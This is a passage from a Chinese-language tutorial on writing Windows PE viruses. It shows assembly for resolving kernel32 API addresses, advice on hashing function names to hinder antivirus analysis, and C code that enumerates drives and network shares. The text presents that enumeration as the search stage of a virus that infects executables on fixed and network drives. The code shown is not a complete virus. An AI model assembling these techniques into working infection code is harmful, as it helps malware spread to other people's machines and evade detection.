?? 病毒編程技術(shù).txt
字號(hào):
add edx,ebp
movzx eax,word [edx+eax]
add esi,[ebp+edi+peexc.AddressOfFunctions]
add ebp,[esi+eax*4] ;ebp=Kernel32.GetProcAddress.addr
;use GetProcAddress and hModule to get other func
pop esi ;esi=kernel32 Base
在前面解析導(dǎo)出函數(shù)表獲取API地址的時(shí)候,采用的是直接比較字符串的方法判斷是不是找到了相應(yīng)的API,其實(shí)還可以計(jì)算函數(shù)名字的hash,然后同預(yù)計(jì)算的hash進(jìn)行比對(duì),現(xiàn)代的PE病毒更多采用的hash的方法,其原因在于一般的函數(shù)名字長度都大于4字節(jié),而用hash只要占用4個(gè)字節(jié)或2個(gè)字節(jié),可以節(jié)省空間,此外還有抗病毒分析的作用,因?yàn)閔ash要比字符串名字費(fèi)解得多。hash算法的設(shè)計(jì)只要能保證無沖突即可,可以用crc等成熟算法,也可以設(shè)計(jì)自己的簡單算法。在Elkern中就使用了crc16算法。
* 文件搜索
文件搜索是病毒的重要功能模塊之一,也是實(shí)現(xiàn)感染和傳播的關(guān)鍵。現(xiàn)代Windows和各種移動(dòng)介質(zhì)的文件系統(tǒng)可能采用多種復(fù)雜格式,因此象一些Dos病毒一樣試圖直接存取文件系統(tǒng)(讀寫扇區(qū))是不大現(xiàn)實(shí)的。通常利用Win32 API的FindFirstFile和FindNextFile來實(shí)當(dāng)前目錄下所有目錄和文件的搜索,通過判斷搜索到的文件屬性,可區(qū)分是否為目錄或可執(zhí)行文件,對(duì)于可執(zhí)行文件則根據(jù)預(yù)先設(shè)計(jì)好的感染策略進(jìn)行感染;對(duì)于當(dāng)前目錄下的所有子目錄以及特殊的..父目錄,可以使用遞歸或非遞歸的方式利用上述兩個(gè)API全部進(jìn)行遍歷,因此從某個(gè)驅(qū)動(dòng)器或網(wǎng)絡(luò)共享文件夾的任意一個(gè)子目錄開始,都可以遍歷當(dāng)前驅(qū)動(dòng)器或網(wǎng)絡(luò)共享文件夾內(nèi)的所有文件和目錄。一般地,搜索文件從驅(qū)動(dòng)器或共享文件夾的根目錄開始,那么如何得到當(dāng)前系統(tǒng)中存在的所有驅(qū)動(dòng)器或所有的共享文件夾列表呢?對(duì)于前一個(gè)問題,我們知道Windows下可劃分A:~Z:共26個(gè)邏輯盤符,因此可以從A:開始遞增搜索所有的驅(qū)動(dòng)器,使用Win32 API GetDriveType判斷當(dāng)前搜索的盤符是否存在,以及是否是固定硬盤、可移動(dòng)存儲(chǔ)介質(zhì)、是否可寫或是網(wǎng)絡(luò)驅(qū)動(dòng)器等。一般病毒只感染固定硬盤或網(wǎng)絡(luò)驅(qū)動(dòng)器。由于匯編語言在表述算法時(shí)顯得過于冗長,因此算法部分使用C語言描述,當(dāng)然將C算法轉(zhuǎn)換成匯編語言是很簡單的過程。
下面的代碼enumdisk.cpp將顯示A-Z各個(gè)驅(qū)動(dòng)器的相關(guān)屬性:
#include
#include
#define MAX_DRIVENAME_LENGTH 64
void __cdecl main(int argc,char *argv[])
{
char DriveName[MAX_DRIVENAME_LENGTH];
char *p;
unsigned int drv_attr;
p = DriveName;
strncpy(DriveName,"A:",MAX_DRIVENAME_LENGTH);
for(;*p<'Z';++*p) {
drv_attr = GetDriveType(p);
switch(drv_attr)
{
case DRIVE_UNKNOWN: // 未知類型
printf("drive %s type %s\n",p,"DRIVE_UNKNOWN");break;
case DRIVE_NO_ROOT_DIR: // 該驅(qū)動(dòng)器不存在
printf("drive %s type %s\n",p,"DRIVE_NO_ROOT_DIR");break;
case DRIVE_REMOVABLE: // 可移動(dòng)盤,軟盤或U盤或移動(dòng)硬盤等
printf("drive %s type %s\n",p,"DRIVE_REMOVABLE");break;
case DRIVE_FIXED: // 固定硬盤
printf("drive %s type %s\n",p,"DRIVE_FIXED");break;
case DRIVE_REMOTE: // 一般是映射網(wǎng)絡(luò)驅(qū)動(dòng)器
printf("drive %s type %s\n",p,"DRIVE_REMOTE");break;
case DRIVE_CDROM: // 光盤
printf("drive %s type %s\n",p,"DRIVE_CDROM");break;
case DRIVE_RAMDISK: // RAM DISK
printf("drive %s type %s\n",p,"DRIVE_RAMDISK");break;
}
}
}
與僅僅顯示一條信息不同的是,病毒此時(shí)將調(diào)用文件枚舉函數(shù)(如后面給出的enum_path函數(shù))從當(dāng)前根目錄開始遍歷DRIVE_FIXED的驅(qū)動(dòng)器上的所有文件,根據(jù)預(yù)定義策略進(jìn)行文件感染。
網(wǎng)絡(luò)共享資源也是按樹狀組織的,非葉節(jié)點(diǎn)稱為容器(container),對(duì)容器需要進(jìn)一步搜索直到到達(dá)葉子節(jié)點(diǎn)為止,葉子節(jié)點(diǎn)才是共享資源的根路徑。共享資源一般分成兩種:共享打印設(shè)備和共享文件夾。對(duì)于網(wǎng)絡(luò)共享文件的搜索,采用WNetOpenEnum和WNetEnumResource(由mpr.dll導(dǎo)出)進(jìn)行遞歸枚舉。其函數(shù)原型及參數(shù)含義請(qǐng)參閱MSDN,使用如下代碼enumshare.cpp將顯示所有的網(wǎng)絡(luò)驅(qū)動(dòng)器共享文件夾的路徑:
#include
#include
#pragma comment(lib,"mpr.lib")
int enum_netshare(LPNETRESOURCE lpnr);
void __cdecl main(int argc,char *argv[])
{
enum_netshare(0);
}
int enum_netshare(LPNETRESOURCE lpnr)
{
DWORD r, rEnum,usage;
HANDLE hEnum;
DWORD cbBuffer = 16384;
DWORD cEntries = -1;
LPNETRESOURCE lpnrLocal; // NETRESOURCE數(shù)組結(jié)構(gòu)的指針
DWORD i;
r = WNetOpenEnum(RESOURCE_GLOBALNET, // 范圍:所有網(wǎng)絡(luò)資源
RESOURCETYPE_DISK,// 類型:僅枚舉可存儲(chǔ)介質(zhì)
RESOURCEUSAGE_ALL,// 使用狀態(tài):所有
lpnr, // 初次調(diào)用時(shí)為NULL
&hEnum); // 成功后返回的網(wǎng)絡(luò)資源句柄
if (r != NO_ERROR) {
printf("WNetOpenEnum error....\n");
return FALSE;
}
lpnrLocal = (LPNETRESOURCE) malloc(cbBuffer);
if (lpnrLocal == NULL)
return FALSE;
do
{
ZeroMemory(lpnrLocal, cbBuffer);
rEnum = WNetEnumResource(hEnum,
&cEntries, // 返回盡可能多的結(jié)果
lpnrLocal, // LPNETRESOURCE
&cbBuffer); // buffer大小
if (rEnum == NO_ERROR) {
for(i = 0; i < cEntries; i++) {
usage = lpnrLocal[i].dwUsage;
if(usage & RESOURCEUSAGE_CONTAINER) {
if(!enum_netshare(&lpnrLocal[i]))
printf("Errors detected in enum process...\n");
}else{
// 這里病毒可調(diào)用遍歷函數(shù)遍歷該共享文件夾下的所有文件
// enum_path(lpnrLocal[i].lpRemoteName);
printf("find %s --> %s\n",lpnrLocal[i].lpLocalName,
lpnrLocal[i].lpRemoteName);
}
}
}else if (rEnum != ERROR_NO_MORE_ITEMS) {
printf("WNetEnumResource error...\n");
break;
}
}while(rEnum != ERROR_NO_MORE_ITEMS);
free((void*)lpnrLocal);
r = WNetCloseEnum(hEnum);
if(r != NO_ERROR) {
printf("WNetCloseEnum error....\n");
return FALSE;
}
return TRUE;
}
遍歷開始時(shí)WNetOpenEnum第4形參為0,在發(fā)現(xiàn)共享容器進(jìn)行遞歸調(diào)用時(shí)候,該參數(shù)將為共享容器的NETRESOURCE結(jié)構(gòu)指針。從NETRESOURCE結(jié)構(gòu)中可以找到我們感興趣的lpRemoteName,該指針不為0則表示是有效的共享容器或共享文件夾。
typedef struct _NETRESOURCE {
DWORD dwScope;
DWORD dwType;
DWORD dwDisplayType;
DWORD dwUsage;
LPTSTR lpLocalName;
LPTSTR lpRemoteName;
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號(hào)
Ctrl + =
減小字號(hào)
Ctrl + -